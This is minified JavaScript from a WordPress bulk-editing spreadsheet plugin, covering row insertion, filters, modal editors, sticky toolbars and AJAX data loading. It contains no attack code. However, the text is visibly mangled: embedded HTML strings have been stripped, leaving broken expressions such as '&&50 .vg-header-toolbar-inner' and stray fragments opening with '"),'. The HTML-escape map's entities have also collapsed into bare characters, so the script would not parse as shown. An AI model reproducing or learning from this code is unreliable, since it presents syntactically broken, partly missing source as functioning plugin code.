vgseColumnsVisibilityUpdateHOT&&window.vgseColumnsVisibilityUsed?vgseColumnsVisibilityUpdateHOT(e,vgse_editor_settings.colHeaders,vgse_editor_settings.colWidth,"softUpdate"):j.updateSettings({columns:e})}),jQuery("#addrow").on("click",function(){var e=jQuery(".remodal-bg").data("nonce"),o=jQuery("#post_type_new_row").val(),a=jQuery(this).next(".number_rows").length&&jQuery(this).next(".number_rows").val()?parseInt(jQuery(this).next(".number_rows").val()):1,t=void 0!==window.wpseAddRowExtraData?window.wpseAddRowExtraData:null;loading_ajax({estado:!0}),jQuery.ajax({type:"POST",url:vgse_global_data.ajax_url,data:{action:"vgse_insert_individual_post",nonce:e,post_type:o,rows:a,extra_data:t},dataType:"json",success:function(e){if(e.success){vgseAddFoundRowsCount(window.beFoundRows+parseInt(a)),vgAddRowsToSheet(e.data.message,"prepend"),loading_ajax({estado:!1}),notification({mensaje:vgse_editor_settings.texts.new_rows_added});var t=jQuery(".be-spreadsheet-wrapper").offset().top-jQuery("#vg-header-toolbar").height()-20;vgseIsInViewport(jQuery(".be-spreadsheet-wrapper"))||jQuery(window).scrollTop(t)}else loading_ajax({estado:!1}),notification({mensaje:e.data.message,tipo:"error",tiempo:6e4});jQuery("body").trigger("vgSheetEditor:afterNewRowsInsert",[e,o,a])}})}),jQuery("#addrow2").on("click",function(){jQuery("#addrow").trigger("click")}),jQuery("#vg-header-toolbar").length&&window.location.href.indexOf("wpse_no_sticky_toolbar")<0){var Q=jQuery("#vg-header-toolbar").outerHeight(),x=jQuery("#vg-header-toolbar").offset().left,T=jQuery("#vg-header-toolbar-placeholder").offset().top,k=jQuery("#vg-header-toolbar.js-sticky-top"),C=jQuery("#vg-header-toolbar-placeholder");k.hasClass("js-sticky-top")&&(jQuery(window).on("scroll",_throttle(function(){b("top",k,C,"menu",T,Q,x)},20)),b("top",k,C,"menu",T,Q,x)),k.hasClass("js-sticky-left")&&(jQuery(window).on("scroll",_throttle(function(){b("left",k,C,"menu",T,Q,x)},5)),b("left",k,C,"menu",T,Q,x))}var E=jQuery("#vg-footer-toolbar.js-sticky");if(E.length){var S=E.outerHeight(),A=E.offset().left,R=E.offset().top,D=E,P=jQuery("#vg-footer-toolbar-placeholder");jQuery(window).on("scroll",_throttle(function(){b("left",D,P,"footer",R,S,A)},5)),b("left",D,P,"footer",R,S,A)}jQuery("body").trigger("vgSheetEditor:afterInit"),jQuery(window).width()<1200&&50 .vg-header-toolbar-inner").height()&&jQuery(".vg-secondary-toolbar .vg-header-toolbar-inner div.clear").before(jQuery("#vg-header-toolbar > .vg-header-toolbar-inner > .button-container:gt(-3)"))});var lastScrollTop={};function scrollDown(e){lastScrollTop[e]||(lastScrollTop[e]=0);var t=jQuery(window).scrollTop();return t!==lastScrollTop[e]?down=!0:down=!1,lastScrollTop[e]=t,down}var vgseClosePageWithoutWarning=!1,vgseAllowToClosePageWithoutWarning=function(e){(vgseClosePageWithoutWarning=e)&&(window.wpseAutoSavingInProgress=!e)};function initHandsontableForPopup(e,n){if("handsontable"===n.type){"string"==typeof e&&(e=JSON.parse(e)),e=e||[];var t,o=n.handsontable_column_widths[n.post_type],a=n.handsontable_column_names[n.post_type],r=n.handsontable_columns[n.post_type],s=document.getElementById("handsontable-in-modal");window.hotAttr&&!window.hotAttr.isDestroyed&&window.hotAttr.destroy(),!(t=e.custom_handsontable_args?e.data:e).length&&window.wpseCurrentPopupSourceCoords.cellValue&&(t=window.wpseCurrentPopupSourceCoords.cellValue);var i={data:t,minSpareRows:1,wordWrap:!0,colWidths:o,allowInsertRow:!0,columnSorting:!0,colHeaders:a,columns:r,afterColumnSort:function(e,t){if("_vgse_create_attribute"===n.key){var o=window.hotAttr.getSourceData(),a=window.hotAttr.getDataAtProp("name"),r=[];o.forEach(function(e){r[e.name]=e}),a.forEach(function(e,t){r[e].position=t})}}},d=jQuery.extend(i,e.custom_handsontable_args);window.hotAttr=new Handsontable(s,d)}else"metabox"===n.type&&initEditorIframe(n);loading_ajax({estado:!1})}function initEditorIframe(s){window.$iframeWrappers=jQuery(".vgca-iframe-wrapper");var e=window.$iframeWrappers;e.show(),e.find("iframe").remove();var t=e.find(".iframe-template").prop("outerHTML").replace(/div/g,"iframe"),o=jQuery(t);o.removeClass("iframe-template"),o.attr("src",o.data("src")+s.post_id+"&wpse_column="+s.key),e.append(o),jQuery(".custom-modal-editor").addClass("modal-editor-"+s.key),window.vgcaIsFrontendSession=[],$iframeWrappers.each(function(){var r=jQuery(this),n=r.find("iframe");window.location.hash;n.data("lastPage",n.contents().get(0).location.href),window.vgcaIsFrontendSession.push(setInterval(function(){var e=n.contents().get(0).location.href;e!==n.data("lastPage")&&($iframeWrappers.css("height",""),n.css("height",""),n.data("lastPage",e));var t=null;try{t=n.contents()}catch(e){}if(t){var o=700;n.height(o),r.height(o);var a=t.find(s.metabox_show_selector);a.removeClass("acf-hidden").removeClass("hidden").attr("hidden","").attr("style","display: block !important; visibility: 1 !important; opacity: 1 !important;"),a.siblings().filter(function(){return!(jQuery(this).hasClass("mce-container")||jQuery(this).hasClass("ui-autocomplete")||jQuery(this).attr("id")&&-1
    "),jQuery(".post-types-form input:radio").first().prop("checked",!0),jQuery(".post-types-form .save-trigger").trigger("click"))}function vgsePostTypeSetupPostTypesSaved(e){var t=e.form.parents("li");t.hide();var o=t.next();o.show(),o.hasClass("setup_columns")&&jQuery.get(vgse_global_data.ajax_url,{action:"vgse_post_type_setup_columns_visibility",nonce:jQuery(".post-type-setup-wizard").data("nonce"),post_type:jQuery(".post-types-form input:radio:checked").val()},function(e){o.append(e.data.html),o.find('[name="save_post_type_settings"]').prop("checked",!0),"undefined"!=typeof vgseColumnsVisibilityInit&&vgseColumnsVisibilityInit()})}function vgsePostTypeSetupColumnSaved(e){jQuery("#vgse-columns-enabled").append('
  • :: '+e.response.data.label+'
  • ')}function vgsePostTypeSetupColumnsVisibilitySaved(e){window.location.href=e.response.data.post_type_editor_url}function vgseStripHtml(e){return(new DOMParser).parseFromString(e,"text/html").body.textContent||""}function vgseRange(e,t){for(var o=[],a=e;a<=t;a++)o.push(a);return o}function vgseIsInViewport(e){var t=e.offset().top,o=(e.outerHeight(),jQuery(window).scrollTop()),a=o+jQuery(window).height();return o").attr({value:n,"data-value-type":t.value_type||"text"}).text(r);u.push(s.prop("outerHTML"))}}}),e?u.join(""):u)}function vgseEscapeHTML(e){var t={"&":"&","<":"<",">":">",'"':""","'":"'"};return e.replace(/[&<>"']/g,function(e){return t[e]})}function vgseToggleFullScreen(e){"number"!=typeof e&&(e="block"===jQuery(".wpse-full-screen-notice-content.notice-on").css("display")||jQuery(window).scrollLeft()>jQuery("#adminmenuwrap").width()),e?(jQuery(".wpse-full-screen-notice-content.notice-on").hide(),jQuery(".wpse-full-screen-notice-content.notice-off").show(),jQuery("html").removeClass("wpse-full-screen"),jQuery("html,body").scrollTop(0),jQuery("html,body").scrollLeft(0),window.wpseFullScreenActive=!1):(jQuery(".wpse-full-screen-notice-content.notice-on").show(),jQuery(".wpse-full-screen-notice-content.notice-off").hide(),jQuery("html").addClass("wpse-full-screen"),window.wpseFullScreenActive=!0)}function vgseFormatDate(){var e=new Date,t=""+(e.getMonth()+1),o=""+e.getDate(),a=e.getFullYear();return t.length<2&&(t="0"+t),o.length<2&&(o="0"+o),[a,t,o].join("-")}function vgseGuidGenerator(){function e(){return(65536*(1+Math.random())|0).toString(16).substring(1)}return e()+e()+"-"+e()+"-"+e()+"-"+e()+"-"+e()+e()+e()}function vgseCustomTooltip(e,t,o,a,r){o=o||"down",e.attr({"data-wpse-tooltip":o,"aria-label":t,"data-wpse-visible":1,"data-wpse-tooltip-type":r}),e.on("hover",function(){e.removeAttr("data-wpse-visible")}),setTimeout(function(){a||e.removeAttr("data-wpse-tooltip"),e.removeAttr("data-wpse-visible")},8e3)}function vgseCleanObject(e){for(var t in e)e[t]||delete e[t]}function beParseParamsOld(e){for(var t={},o=e.split("&"),a=0;a .remodal");t.length?(t.one("closed",function(){jQuery('[data-remodal-id="'+e+'"]').remodal().open()}),t.remodal().close()):jQuery('[data-remodal-id="'+e+'"]').remodal().open()}function vgseDecodeURIComponentSafe(t){if(!t)return t;try{var o=decodeURIComponent(t.replace(/%(?![0-9][0-9a-fA-F]+)/g,"%25"))}catch(e){o=decodeURIComponent(t)}return o}function beAddRowsFilter(e){if(!e)return!1;var t=jQuery("body").data("be-filters"),o=vgseMergeDeep([t=t||{},"string"==typeof e?beParseParams(e):e]);vgseCleanObject(o);var a=jQuery(".vgse-current-filters");return a.find(".button").remove(),a.each(function(){var d=jQuery(this);jQuery.each(o,function(e,t){if(t&&e.indexOf("meta_query")<0){var o="string"==typeof t?t:t.join(", ");20<(o=vgseDecodeURIComponentSafe(vgseStripHtml(o))).length&&(o=o.substring(0,20)+"...");var a=e.replace("[]","").replace(/_/g," ");d.append(' '+a+": "+o+"")}}),o.meta_query&&jQuery.each(o.meta_query,function(e,t){var o=t.key;if(o){var a=t.value,r=t.compare;20<(a=vgseDecodeURIComponentSafe(vgseStripHtml(a))).length&&(a=a.substring(0,20)+"...");var n="meta_query["+e+"][key]";d.find(".advanced-filter").filter(function(){return jQuery(this).data("filter-key")===n}).remove(),d.append(' '+o+" "+r+" "+a+"")}}),jQuery(".advanced-filters-list > li").each(function(){var e=jQuery(this),t=e.find(".wpse-advanced-filters-field-selector"),o=t.val();if(o){var a=t.attr("name"),r=e.find(".wpse-advanced-filters-value-selector").val(),n=e.find(".wpse-advanced-filters-operator-selector option:selected"),s=n.data("custom-label")||n.text();"ANY"===s&&(r=r.replace(";"," OR ").replace(" "," "));var i="string"==typeof r?r:r.join(", ");20<(i=vgseDecodeURIComponentSafe(vgseStripHtml(i))).length&&(i=i.substring(0,20)+"..."),d.find(".advanced-filter").filter(function(){return jQuery(this).data("filter-key")===a}).remove(),d.append(' '+o+" "+s+" "+i+"")}}),d.find(".button").length?d.css("display","inline-block"):d.hide()}),1 '+vgse_editor_settings.texts.remove_all_filters+""):a.find(".remove-all-filters").remove(),jQuery("body").data("be-filters",o),o}function beAjaxLoop(e){var r=jQuery.extend({totalCalls:null,current:1,url:"",method:"GET",dataType:"json",data:{},prepareData:function(e,t){return e},onSuccess:function(e,t){},onError:function(e,t,o){},status:"running"},e);function n(){if(r.current
    '),jQuery(".sombra_popup").fadeIn(1e3)):jQuery(".sombra_popup").fadeOut(800,function(){})}function notification(e){var t={tipo:"success",mensaje:"",time:8600,position:"top"};jQuery.extend(t,e),setTimeout(function(){if("success"==t.tipo)var e="green";else e="error"==t.tipo?"red":"warning"==t.tipo?"orange":"blue";"bottom"===t.position?jQuery("#ohsnap").css({top:"auto",bottom:"5px"}):jQuery("#ohsnap").css({top:"",bottom:""}),jQuery("#ohsnap").css("z-index","1100000"),setTimeout(function(){jQuery("#ohsnap").css("z-index","-1")},t.time),jQuery("#ohsnap .alert").remove(),ohSnap(t.mensaje,{duration:t.time,color:e})},500)}function beLoadPosts(o,a,r,n){loading_ajax({estado:!0});var t=setTimeout(function(){jQuery(".wpse-stuck-loading").css("display","block")},5e3);jQuery(".automatic-loading-rows-disabled").remove(),r=r||!0,n=n||!1,o.action="vgse_load_data",o.wpse_source_suffix=vgse_editor_settings.wpse_source_suffix||"",o.paged||(o.paged=1),window.beCurrentPage=o.paged,o.filters=vgseGetFiltersJson(),window.beLastLoadRowsAjax=jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",type:"POST",data:o,success:function(e){if(1===window.beCurrentPage&&0===window.location.hash.indexOf("#after_init:")&&(jQuery('[data-remodal-id="'+window.location.hash.replace("#after_init:","")+'"]').remodal().open(),window.location.hash=""),jQuery(".wpse-stuck-loading").hide(),clearTimeout(t),e.data.pagination&&(jQuery(".pagination-links").empty().append(e.data.pagination),jQuery(".pagination-jump input").attr("max",e.data.max_pages)),jQuery("#vgse-wrapper").css("min-width",jQuery("#post-data .wtHider").width()),jQuery("body").trigger("vgSheetEditor:beforeRowsInsert",[e,o,a,r,n]),"function"==typeof a&&(a(e),r))return!0;e.success?(vgseAddFoundRowsCount(e.data.total),vgAddRowsToSheet(e.data.rows,null,n),notification({mensaje:e.data.message||vgse_editor_settings.texts.posts_loaded,tipo:"info"}),loading_ajax({estado:!1})):(loading_ajax({estado:!1}),notification({mensaje:e.data.message,tipo:"info"}),vgseAddFoundRowsCount(0))},error:function(e,t){100<=vgse_editor_settings.posts_per_page&&(500<=e.status||"timeout"===t)&&(window.vgseDontNotifyServerError=!0,vgse_editor_settings.posts_per_page=10,o.wpse_reset_posts_per_page=vgse_editor_settings.posts_per_page,beLoadPosts(o,a,r,n),setTimeout(function(){loading_ajax({estado:!0})},200))}})}function vgseMd5(e){var a="0123456789abcdef";function t(e){var t,o="";for(t=0;t<=3;t++)o+=a.charAt(e>>8*t+4&15)+a.charAt(e>>8*t&15);return o}function d(e,t){var o=(65535&e)+(65535&t);return(e>>16)+(t>>16)+(o>>16)<<16|65535&o}function i(e,t,o,a,r,n){return d((s=d(d(t,e),d(a,n)))<<(i=r)|s>>>32-i,o);var s,i}function o(e,t,o,a,r,n,s){return i(t&o|~t&a,e,t,r,n,s)}function r(e,t,o,a,r,n,s){return i(t&a|o&~a,e,t,r,n,s)}function n(e,t,o,a,r,n,s){return i(t^o^a,e,t,r,n,s)}function s(e,t,o,a,r,n,s){return i(o^(t|~a),e,t,r,n,s)}var l,u,c,p,g,f=function(e){var t,o=1+(e.length+8>>6),a=new Array(16*o);for(t=0;t<16*o;t++)a[t]=0;for(t=0;t>2]|=e.charCodeAt(t)<>2]|=128<'+e.data.message+"

    "),{results:[]};var t=e.data.data||[];if(e.data&&jQuery.isArray(e.data)&&"string"==typeof e.data[0]){var o=[];e.data.forEach(function(e){o.push({id:e,text:e})}),t=o}else if(e.data.data&&!jQuery.isArray(e.data.data)){for(var a in o=[],e.data.data)o.push({id:a,text:e.data.data[a]});t=o}return{results:t}},cache:!0}),jQuery(this).select2(e)})}function vgseReloadSpreadsheet(e,t,o){if(e){t=t||vgse_editor_settings.texts.save_changes_reload_optional;var a=hot.getSourceData();if((a=beGetModifiedItems(a,window.beOriginalData)).length)return alert(t),!0}var r=jQuery(".remodal-bg").data("nonce"),n=jQuery("#post-data");window.beOriginalData=[],hot.loadData([]),beLoadPosts({post_type:n.data("post-type"),nonce:r,paged:o||1})}function vgseAddFoundRowsCount(e){window.beFoundRows=e,jQuery(".be-total-rows .item-value").text(e),window.wpseUpdateBulkEditRowsCount&&(jQuery(".modal-formula .rows-to-be-updated-total span").text(e),window.wpseUpdateBulkEditRowsCount=!1)}function vgseGetRowTitle(e){var t=window.vgseFormulasBulkSelectorExists?2:1;return vgse_editor_settings.is_post_type?hot.getDataAtRowProp(e,"post_title"):hot.getDataAtCell(e,t)}function vgseInputToFormattedColumnField(s,i,e){if(void 0!==vgse_editor_settings.final_spreadsheet_columns_settings[s]){var r=vgse_editor_settings.final_spreadsheet_columns_settings[s],t=i.find(e),o=t.attr("name"),a=t.attr("class");if(!t.is("input")&&!t.is("textarea")||t.attr("type")&&"text"!==t.attr("type"))return!0;if(void 0!==r.formatted.editor&&"select"===r.formatted.editor)t.replaceWith('"),(n=i.find("select"+e)).each(function(){var o=jQuery(this),e=Object.keys(r.formatted.selectOptions),a="0"===e[0]&&jQuery.isNumeric(e[e.length-1]);jQuery.each(r.formatted.selectOptions,function(e,t){a&&(e=t),o.append('")})});else if(void 0!==r.formatted.type&&"autocomplete"===r.formatted.type&&"string"==typeof r.formatted.source&&"searchUsers"===r.formatted.source)t.replaceWith(''),i.find('input[list="wpse-bulk-edit-users-list-'+s+'"]').keyup(_throttle(function(e){var t=jQuery(this).val();if(!t)return!0;var o=jQuery(this);if(o.data("last-query")===t)return!0;o.data("last-query",t);var a=jQuery(".remodal-bg").data("nonce"),r=vgse_editor_settings.post_type,n=i.find("datalist#wpse-bulk-edit-users-list-"+s);jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",data:{action:"vgse_find_users_by_keyword",search:t,nonce:a,post_type:r,wpse_source:"users_dropdown_column"},success:function(e){var t=[];e.success&&(t=e.data.data),n.empty(),t.forEach(function(e){n.append('")})}})},1500,{leading:!0,trailing:!0}));else if(void 0!==r.formatted.type&&"autocomplete"===r.formatted.type&&"object"==typeof r.formatted.source)t.replaceWith('"),(n=i.find("select"+e)).each(function(){var o=jQuery(this);jQuery.each(r.formatted.source,function(e,t){jQuery.isNumeric(e)&&(e=t),o.append('")})});else if(void 0!==r.formatted.type&&"checkbox"===r.formatted.type)t.replaceWith(''),(n=i.find("input"+e+":checkbox")).after(''),n.on("change",function(){jQuery(this).is(":checked")?(jQuery(this).val(r.formatted.checkedTemplate),jQuery(this).data("checked-value",r.formatted.checkedTemplate),i.find(".wpse-hidden-value").val(r.formatted.checkedTemplate)):(jQuery(this).val(r.formatted.uncheckedTemplate),jQuery(this).data("unchecked-value",r.formatted.uncheckedTemplate),i.find(".wpse-hidden-value").val(r.formatted.uncheckedTemplate))}),n.trigger("change");else if(void 0!==r.formatted.type&&"date"===r.formatted.type){var n;"wp_datetime"===r.formatted.editor?t.replaceWith(''):t.replaceWith(''),(n=i.find("input"+e)).after(''),n.on("change",function(){var e=jQuery(this).val();if(e){if("datetime-local"===n.prop("type"))var t=moment.utc(e,"YYYY-MM-DDTH:mm:ss");else t=moment.utc(e+" 0:00:00","YYYY-MM-DD H:mm:ss");if(!(o=r.formatted.customDatabaseFormatJs||r.formatted.dateFormatJs))var o=r.formatted.customDatabaseFormat||r.formatted.dateFormat;var a=t.format(o)}else a="";i.find(".wpse-hidden-value").val(a)}),n.trigger("change")}}}function vgseRemoveAllFilters(e){jQuery("body").data("be-filters",{}),jQuery(".vgse-current-filters .button").remove(),e&&vgseReloadSpreadsheet()}function vgseInitLazySelects(){jQuery("select[data-lazy-key]:not([data-already-lazy])").each(function(){vgseLazySelect(jQuery(this),jQuery(this).data("lazy-key"))})}function vgseLazySelect(a,r){if(a.attr("multiple"))return!0;function t(){var e=a.find("option:selected");e&&e.parent("optgroup").length&&e.parent("optgroup"),a.find("option").not(e).not(a.find('option[value=""]')).remove(),a.find("optgroup").each(function(){jQuery(this).children().length||jQuery(this).remove()})}vgse_editor_settings.lazy_loaded_select_options||(vgse_editor_settings.lazy_loaded_select_options={});var e={};vgse_editor_settings.lazy_loaded_select_options&&vgse_editor_settings.lazy_loaded_select_options[r]||(a.find("option").each(function(){jQuery(this).parent("optgroup").length?(void 0===e[jQuery(this).parent("optgroup").attr("label")]&&(e[jQuery(this).parent("optgroup").attr("label")]={}),e[jQuery(this).parent("optgroup").attr("label")][jQuery(this).val()]=jQuery(this).text()):e[jQuery(this).val()]=jQuery(this).text()}),vgse_editor_settings.lazy_loaded_select_options[r]=e),a.find("option").length||"string"!=typeof a.data("selected")||a.append('"),t(),a.on("focus",function(e){var t=vgse_editor_settings.lazy_loaded_select_options[r];if(t){var o=a.val();a.empty(),jQuery.each(t,function(o,e){"string"==typeof e?a.append('"):(a.append(''),jQuery.each(e,function(e,t){a.find('optgroup[label="'+vgseStripHtml(o)+'"]').append('")}))}),a.val(o)}}),a.on("blur",function(e){t()})}function vgseSetSettings(e,t,o){e.push({name:"nonce",value:jQuery("#vgse-wrapper").data("nonce")}),e.push({name:"action",value:"vgse_set_settings"}),o||loading_ajax(!0),jQuery.ajax({url:vgse_global_data.ajax_url,method:"POST",data:e,success:function(e){o||loading_ajax(!1),window.location.hash="",e.success&&t&&window.location.reload()}})}function vgseGetSelectedRowsCount(e){var t=window.beFoundRows;return"selected"===e.find(".wpse-select-rows-options").val()&&(t=vgseGetSelectedIds().length),"previously_selected"===e.find(".wpse-select-rows-options").val()&&(t=(window.wpsePreviouslySelectedIds||[]).length),t}function vgseGetSelectedIds(){if("wpseBulkSelector"===hot.propToCol("wpseBulkSelector"))return[];var e=hot.getDataAtCol(0),o=[];return e.forEach(function(e,t){e&&o.push(hot.getDataAtRowProp(t,"ID"))}),o}function vgseDeleteRowsById(t){loading_ajax(!0),jQuery.post(vgse_global_data.ajax_url,{action:"vgse_delete_row_ids",nonce:jQuery("#vgse-wrapper").data("nonce"),post_type:vgse_editor_settings.post_type,ids:t},function(e){loading_ajax(!1),e.success?(notification({mensaje:e.data.message}),vgseRemoveRowFromSheetByID(t,!0)):notification({mensaje:e.data.message,tipo:"error",tiempo:6e4})})}jQuery(window).on("beforeunload",function(){if(jQuery(".be-spreadsheet-wrapper").length)var e=beGetModifiedItems(hot.getSourceData(),window.beOriginalData);else e=[];if(jQuery(".be-spreadsheet-wrapper").length&&e.length&&!vgseClosePageWithoutWarning)return vgse_editor_settings.texts.save_changes_on_leave}),jQuery(document).ready(function(){var e=jQuery(".quick-setup-page-content");if(!e.length)return!0;function n(){jQuery(".setup-step.active").removeClass("active").next().addClass("active"),jQuery(" #vgse-wrapper .progressbar li.active").removeClass("active").next().addClass("active")}e.find(".step-back").on("click",function(e){e.preventDefault(),jQuery(".setup-step.active").removeClass("active").prev().addClass("active"),jQuery(" #vgse-wrapper .progressbar li.active").removeClass("active").prev().addClass("active")}),e.find(".save-all-trigger").on("click",function(e){e.preventDefault();var t=jQuery(this).parents(".setup-step"),o=t.find("form");if(loading_ajax({estado:!0}),!o.length)return n(),loading_ajax({estado:!1}),!0;t.find(".save-trigger").each(function(){jQuery(this).trigger("click")});var a=t.find(".save-trigger").length,r=setInterval(function(){t.find(".save-trigger").filter(function(){return"yes"===jQuery(this).data("saved")}).length===a&&(clearInterval(r),n(),loading_ajax({estado:!1}))},800)}),e.find(".save-trigger").on("click",function(e){e.preventDefault();var t=jQuery(this),o=t.parents("form"),a=o.data("callback");jQuery.post(o.attr("action"),o.serializeArray(),function(e){t.data("saved","yes"),a&&vgseExecuteFunctionByName(a,window,{response:e,form:o})})})}),jQuery(document).ready(function(){jQuery("body").on("click",".form-submit-outside",function(e){e.preventDefault(),jQuery(this).parents(".remodal").find("form .form-submit-inside").trigger("click")}),jQuery(document).on("opened",".remodal",function(e){var t=jQuery(document).scrollTop(),o=jQuery("#infinito").prop("checked");jQuery("#infinito").prop("checked",!1),jQuery("body").data("temp-status",o).data("temp-scrolltop",t);var a=jQuery("html,body").scrollLeft();jQuery("body").data("temp-scrollleft",a)}),jQuery(document).on("closed",".remodal",function(){var e=jQuery("body").data("temp-scrolltop"),t=jQuery("body").data("temp-scrollleft"),o=jQuery("body").data("temp-status");e&&jQuery(window).scrollTop(e),t&&jQuery("html,body").scrollLeft(t),o&&jQuery("#infinito").prop("checked",o)}),jQuery("body").on("click","[data-wpse-remodal-target]",function(){vgseGoToModal(jQuery(this).data("wpse-remodal-target"))})}),jQuery(document).ready(function(){jQuery("body").on("click",".button-custom-modal-editor",function(e){e.preventDefault();var t=jQuery(this),o=t.data(),a=t.parent("td");if(a.length){var r=hot.getCoords(a[0]);if(window.wpseCurrentPopupSourceCoords=r,o.modalSettings.use_new_handsontable_renderer){var n=hot.getDataAtCell(window.wpseCurrentPopupSourceCoords.row,window.wpseCurrentPopupSourceCoords.col);window.wpseCurrentPopupSourceCoords.cellValue=n?JSON.parse(n):{}}}window.hotModalCache||(window.hotModalCache={}),window.hotModalCache[o.modalSettings.post_id]||(window.hotModalCache[o.modalSettings.post_id]={});var s=jQuery(".custom-modal-editor");if(a.length){var i=hot.countRows(),d=r.row;0===d?s.find("button.anterior").hide():s.find("button.anterior").show(),d===i-1?s.find("button.siguiente").hide():s.find("button.siguiente").show(),s.find("button.anterior").data("pos",d-1),s.find("button.siguiente").data("pos",d+1)}if("metabox"===o.modalSettings.type)var l=null;else"string"==typeof(l=window.hotModalCache&&window.hotModalCache[o.modalSettings.post_id][o.modalSettings.edit_modal_save_action]?window.hotModalCache[o.modalSettings.post_id][o.modalSettings.edit_modal_save_action]:o.existing)&&(l=l||"{}",l=JSON.parse(l));var u={button:t,modalSettings:o.modalSettings,existing:l};window.vgseWCAttsCurrent=u,setTimeout(function(){s.remodal().open()},500),s.addClass("modal-editor-"+o.modalSettings.key)}),jQuery("body").on("click",".custom-modal-editor .remodal-cancel",function(e){var t=jQuery(this).parents(".custom-modal-editor"),o=window.vgseWCAttsCurrent;o.modalSettings.edit_modal_cancel_action&&(loading_ajax({estado:!0}),o.modalSettings.edit_modal_cancel_action.replace("js_function_name:","").split(",").forEach(function(e){vgseExecuteFunctionByName(e,t.find("iframe")[0].contentWindow)}),loading_ajax(!1))}),jQuery("body").on("click",".custom-modal-editor .save-changes-handsontable",function(e){var o=jQuery(this).parents(".custom-modal-editor"),a=jQuery(".remodal-bg").data("nonce"),r=window.vgseWCAttsCurrent;if(loading_ajax({estado:!0}),"handsontable"===r.modalSettings.type)var n=hotAttr.getSourceData();else if("metabox"===r.modalSettings.type)if(-1'),e.find(".modal-post-title").html(t.modalSettings.post_title),t.modalSettings.edit_modal_title&&e.find(".modal-general-title").html(t.modalSettings.edit_modal_title+": "),t.modalSettings.edit_modal_description&&e.find(".modal-description").html(t.modalSettings.edit_modal_description),e.find(".modal-general-title, .modal-description").show(),window.hotModalCache||(window.hotModalCache={}),window.hotModalCache[t.modalSettings.post_id]||(window.hotModalCache[t.modalSettings.post_id]={}),t.modalSettings.edit_modal_get_action){var o=jQuery(".remodal-bg").data("nonce");jQuery.get(vgse_global_data.ajax_url,{action:t.modalSettings.edit_modal_get_action,nonce:o,postId:t.modalSettings.post_id}).done(function(e){initHandsontableForPopup(e.data,t.modalSettings)})}else{if(window.hotModalCache&&window.hotModalCache[t.modalSettings.post_id][t.modalSettings.edit_modal_save_action])var a=window.hotModalCache[t.modalSettings.post_id][t.modalSettings.edit_modal_save_action];else a=t.existing;initHandsontableForPopup(a,t.modalSettings)}}),jQuery("body").on("click","button.remodal-confirm, a.remodal-cancel, .media-button-insert",function(e){"submit"===jQuery(this).attr("type")||jQuery(this).hasClass("submit")||e.preventDefault()})}),jQuery(document).ready(function(){jQuery(".vgse-current-filters").on("click",".button",function(e){e.preventDefault();var t=jQuery(this),o=hot.getSourceData();if((o=beGetModifiedItems(o,window.beOriginalData)).length)return alert(vgse_editor_settings.texts.save_changes_before_remove_filter),!0;var a=[];t.hasClass("remove-all-filters")?(jQuery(".vgse-current-filters .button:not(.remove-all-filters)").each(function(){a.push(jQuery(this).data("filter-key"))}),jQuery(".vgse-current-filters .button").remove(),jQuery("body").data("be-filters",{})):(a.push(t.data("filter-key")),t.remove()),a.forEach(function(e){e&&(jQuery("#be-filters").find("input,select,textarea").filter(function(){return jQuery(this).attr("name")===e&&"checkbox"!==jQuery(this).attr("type")}).val("").trigger("change"),jQuery("#be-filters").find("input:checkbox").filter(function(){return jQuery(this).attr("name")===e}).prop("checked",!1).trigger("change"),beAddRowsFilter(e+"="))}),vgseReloadSpreadsheet()})}),jQuery(document).ready(function(){var o=jQuery(".post-type-setup-wizard");if(!o.length)return!1;o.find("form.inline-add").on("submit",function(e){var t=jQuery(this),o=t.data("callback");return jQuery.ajax({method:t.attr("method"),url:t.attr("action"),data:t.serialize()+"¤t_post_type="+jQuery(".post-types-form input:radio:checked").val()}).done(function(e){t.find("input:text").val(""),t.find("input:text").first().focus(),vgseExecuteFunctionByName(o,window,{response:e,form:t})}),!1});var e=o.find(".post-types-form").data("custom-post-types").split(",");jQuery.each(e,function(e,t){o.find(".post-types-form .post-type-"+t).append('')}),o.on("click",".vgse-delete-post-type",function(e){e.preventDefault();var t=jQuery(this).data("post-type");if(!confirm(o.find(".post-types-form").data("confirm-delete")))return!0;jQuery.post(vgse_global_data.ajax_url,{post_type:t,action:"vgse_delete_post_type",nonce:jQuery(".post-type-setup-wizard").data("nonce")},function(e){e.success&&(notification({mensaje:e.data.message,tipo:"success",tiempo:3e3}),o.find(".post-types-form .post-type-"+t).remove())})})}),jQuery(document).ready(function(){var t=jQuery(".quick-setup-page-content .post-type-field input");if(!t.length)return!1;var a=jQuery(".quick-setup-page-content .post-types-enabled");t.on("change",function(e){a.empty(),t.each(function(){var e=jQuery(this).val();if(jQuery(this).is(":checked")){var t=jQuery(this).siblings("label").text(),o='Edit '+vgseStripHtml(t)+" - ";a.append(o)}})})}),jQuery(document).ready(function(){jQuery("body").on("change","input.wpse-set-settings, textarea.wpse-set-settings, select.wpse-set-settings",function(e){e.preventDefault();var t=jQuery(this).attr("name"),o=jQuery(this).val(),a=parseInt(jQuery(this).data("reload-after-success")),r=parseInt(jQuery(this).data("silent-action"));if(!t)return!0;vgseSetSettings([{name:"settings["+t+"]",value:o}],a,r)}),jQuery("body").on("click","a.wpse-set-settings",function(e){e.preventDefault();var t=jQuery(this).data("name"),o=jQuery(this).data("value"),a=parseInt(jQuery(this).data("reload-after-success")),r=parseInt(jQuery(this).data("silent-action"));if(!t)return!0;vgseSetSettings([{name:"settings["+t+"]",value:o}],a,r)}),jQuery("body").on("submit","form.wpse-set-settings",function(e){var t=parseInt(jQuery(this).data("reload-after-success")),o=parseInt(jQuery(this).data("silent-action"));return vgseSetSettings(jQuery(this).serializeArray(),t,o),!1}),jQuery(".tabs-links a").on("click",function(e){e.preventDefault(),jQuery(".tabs-links a").removeClass("tab-active"),jQuery(this).addClass("tab-active");var t=jQuery(this).attr("href").replace("#",""),o=jQuery(this).parents(".tabs-links"),a=o.next().find("."+t);o.next().find(".tab-content").hide(),a.show()}),jQuery(".tabs-links").each(function(){jQuery(this).find("a").first().click()})}),jQuery(document).ready(function(){jQuery(".toolbar-submenu [data-saved-item]").each(function(){jQuery(this).after('')}),jQuery("body").on("click",".wpse-delete-saved-item",function(e){e.preventDefault();var t=jQuery(this),o="confirm_delete_"+t.prev().data("saved-type")+"_item";if(vgse_editor_settings.texts[o]&&!confirm(vgse_editor_settings.texts[o]))return!1;var 